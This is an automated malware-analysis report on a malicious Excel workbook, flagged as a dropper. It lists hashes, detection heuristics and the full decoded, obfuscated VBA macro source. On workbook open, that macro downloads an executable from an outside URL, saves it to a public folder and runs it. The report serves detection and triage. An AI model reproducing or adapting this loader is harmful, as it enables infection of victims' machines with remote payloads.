Office (OOXML) malware analysis — malicious · 8966cf475018b606

MALICIOUS

Office (OOXML)

268.0 KB First seen: 2020-09-07

MD5: 09c6b25d1d57bb793d74322aabf227a7 SHA-1: b6cd226ae8c822a213489d45f45913d4e5da0c84 SHA-256: 8966cf475018b60651bf2f872ecc2dc97dcd64ed23a26f27e8793fc492409f2a

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open macro is designed to execute a function that downloads a file from the hardcoded URL "https://indo-heavv.com/Payment.exe" and saves it for execution. This is further supported by critical heuristic firings indicating HTTP download and execution of a file via VBA, and ClamAV detection of a dropper.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
fbgcuiaofpifapptcxbkvicwehcesvxkvqockvdnhimdfyvuvptlqzvwzjxmgwwjsykjanjhtodnwzqgmiiccltvvrdbxrglmckh.write bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr = CreateObject(mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr = CreateObject(mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6587 bytes
SHA-256: `7b809cd6b791dadd2fd2943e3a3748551990f07e89f0ce9acc9c0a942a6908b2`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select jyfiktznragvtncfwrlblxsofnssncdwnbimuyqcorxieupfswnuakbmfqcxagzpxjisfplxaintzjkkynzrpiwcawgevtchrilu"68 74 74 70 73 3A 2F 2F 69 6E 64 6F 2D 68 65 61 76 79 2E 63 6F 6D 2F 50 61 79 6D 65 6E 74 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub jyfiktznragvtncfwrlblxsofnssncdwnbimuyqcorxieupfswnuakbmfqcxagzpxjisfplxaintzjkkynzrpiwcawgevtchrilu (iefgaoftbhuunnjqzcenlzmduxwdarkqcobojolaadxkjtrodbecvawjscmdsctkxesylvhkrenhbctagizyniubrsvgciixknmf As String) Dim bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr Range("A6:J13").Select Dim fbgcuiaofpifapptcxbkvicwehcesvxkvqockvdnhimdfyvuvptlqzvwzjxmgwwjsykjanjhtodnwzqgmiiccltvvrdbxrglmckh Range("A6:J13").Select Dim nltigmscwizztraynthheoojkijbhsauojtaozwqsrymsdhgrhxtudczxjyycquehfkkxajowronpcrgadkzuhzlgtdfbxncwuem Range("A6:J13").Select Set bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr = CreateObject(mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr = CreateObject(mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr = CreateObject(mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr = CreateObject(mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set fbgcuiaofpifapptcxbkvicwehcesvxkvqockvdnhimdfyvuvptlqzvwzjxmgwwjsykjanjhtodnwzqgmiiccltvvrdbxrglmckh = CreateObject(mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set nltigmscwizztraynthheoojkijbhsauojtaozwqsrymsdhgrhxtudczxjyycquehfkkxajowronpcrgadkzuhzlgtdfbxncwuem = CreateObject(mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) jqtuqpcpquhbbfrqcfjsuzbwkdyloondlqcreapegqlyfqgbqwxfmxsjoxkmqqbbgdpldambqeleodquxxusqirnyscgqcoqpjrb = mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq(iefgaoftbhuunnjqzcenlzmduxwdarkqcobojolaadxkjtrodbecvawjscmdsctkxesylvhkrenhbctagizyniubrsvgciixknmf) auyqkwphlovlhpptvilylbnkxflnqvoelotcyehuskbkxqzanvugytqzhosekbrqzqzswnurbqfbzdmggkaubigrytvklcjqtlkh = mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 61 6A 69 78 68 67 65 71 74 2e 65 78 65") rgeabcfhooaebmyabworjhucrjgyhoinsfpzgatydzdjtqizejpxxtxjmbirwgzzgmlvwztacpnkekibbhuyzkqzigmesccwzedh = mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 61 6A 69 78 68 67 65 71 74 2e 65 78 65") bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr.Open chr(71) + chr(69) + chr(84), jqtuqpcpquhbbfrqcfjsuzbwkdyloondlqcreapegqlyfqgbqwxfmxsjoxkmqqbbgdpldambqeleodquxxusqirnyscgqcoqpjrb, False bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr.send fbgcuiaofpifapptcxbkvicwehcesvxkvqockvdnhimdfyvuvptlqzvwzjxmgwwjsykjanjhtodnwzqgmiiccltvvrdbxrglmckh.Type = 1 fbgcuiaofpifapptcxbkvicwehcesvxkvqockvdnhimdfyvuvptlqzvwzjxmgwwjsykjanjhtodnwzqgmiiccltvvrdbxrglmckh.Open fbgcuiaofpifapptcxbkvicwehcesvxkvqockvdnhimdfyvuvptlqzvwzjxmgwwjsykjanjhtodnwzqgmiiccltvvrdbxrglmckh.write bschutkrnphpjlwjduwpjqhtzaijwqxopozofreuxdockgxrlyupqxvkkjitkbuxrtavlielpcrfbfitdqyxvhxrsodwjljwirkr.responseBody fbgcuiaofpifapptcxbkvicwehcesvxkvqockvdnhimdfyvuvptlqzvwzjxmgwwjsykjanjhtodnwzqgmiiccltvvrdbxrglmckh.savetofile auyqkwphlovlhpptvilylbnkxflnqvoelotcyehuskbkxqzanvugytqzhosekbrqzqzswnurbqfbzdmggkaubigrytvklcjqtlkh, 2 nltigmscwizztraynthheoojkijbhsauojtaozwqsrymsdhgrhxtudczxjyycquehfkkxajowronpcrgadkzuhzlgtdfbxncwuem.Run rgeabcfhooaebmyabworjhucrjgyhoinsfpzgatydzdjtqizejpxxtxjmbirwgzzgmlvwztacpnkekibbhuyzkqzigmesccwzedh End Sub Public Function mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq(ByVal txiqyjwdpojusryzfvjafzdewemydmqvxendutblkvwskimjzowbldhtuettwxzcxnwoeveltxqjcltosdzpqpkuxtipahpmwtuw As String) As String Dim lyeejkhnnxrjlfbsyjmidcqlmplmienjqwctzugfhxgaczeufwnmhmtjhtsuyvejjispchtedgagvqimkrglqbbectmfbmhlsxqu As String Dim hprxdiialmnqkgjhpssignmjvncqzonxaoeuziihsatpgvuvdzwafintdicpgsbwzpqwboigkkpfuwczthnzsnsralrqfsbazwqq As String Dim fyuorppusiygfdwyecemxyvpwsaripgyfmuumyhcxxzsmkkcwcvwsetgderzoxldcabtjbmgucozzccmhyvgujgbsnrihinalvqm As Long For fyuorppusiygfdwyecemxyvpwsaripgyfmuumyhcxxzsmkkcwcvwsetgderzoxldcabtjbmgucozzccmhyvgujgbsnrihinalvqm = 1 To Len(txiqyjwdpojusryzfvjafzdewemydmqvxendutblkvwskimjzowbldhtuettwxzcxnwoeveltxqjcltosdzpqpkuxtipahpmwtuw)Step 3 lyeejkhnnxrjlfbsyjmidcqlmplmienjqwctzugfhxgaczeufwnmhmtjhtsuyvejjispchtedgagvqimkrglqbbectmfbmhlsxqu = Chr$(Val("&H" & Mid$(txiqyjwdpojusryzfvjafzdewemydmqvxendutblkvwskimjzowbldhtuettwxzcxnwoeveltxqjcltosdzpqpkuxtipahpmwtuw, fyuorppusiygfdwyecemxyvpwsaripgyfmuumyhcxxzsmkkcwcvwsetgderzoxldcabtjbmgucozzccmhyvgujgbsnrihinalvqm, 2))) hprxdiialmnqkgjhpssignmjvncqzonxaoeuziihsatpgvuvdzwafintdicpgsbwzpqwboigkkpfuwczthnzsnsralrqfsbazwqq = hprxdiialmnqkgjhpssignmjvncqzonxaoeuziihsatpgvuvdzwafintdicpgsbwzpqwboigkkpfuwczthnzsnsralrqfsbazwqq & lyeejkhnnxrjlfbsyjmidcqlmplmienjqwctzugfhxgaczeufwnmhmtjhtsuyvejjispchtedgagvqimkrglqbbectmfbmhlsxqu Next fyuorppusiygfdwyecemxyvpwsaripgyfmuumyhcxxzsmkkcwcvwsetgderzoxldcabtjbmgucozzccmhyvgujgbsnrihinalvqm mwzdlqurxhmwfrzmhhzonfsjjgbhffcrxpybnwgyoefsjjyeuq = hprxdiialmnqkgjhpssignmjvncqzonxaoeuziihsatpgvuvdzwafintdicpgsbwzpqwboigkkpfuwczthnzsnsralrqfsbazwqq End Function Attribute VB_Name = "fmcepouhfnecsgqpmbzvwmnpm" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `9e7e9c3bea26385e389f490599177038c66d60889399e8fe9f575a5c22fe3f4d`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 141 of 212 identifiers look randomly generated (e.g. 'fmcepouhfnecsgqpmbzvwmnpm') — consistent with name-mangling obfuscation.

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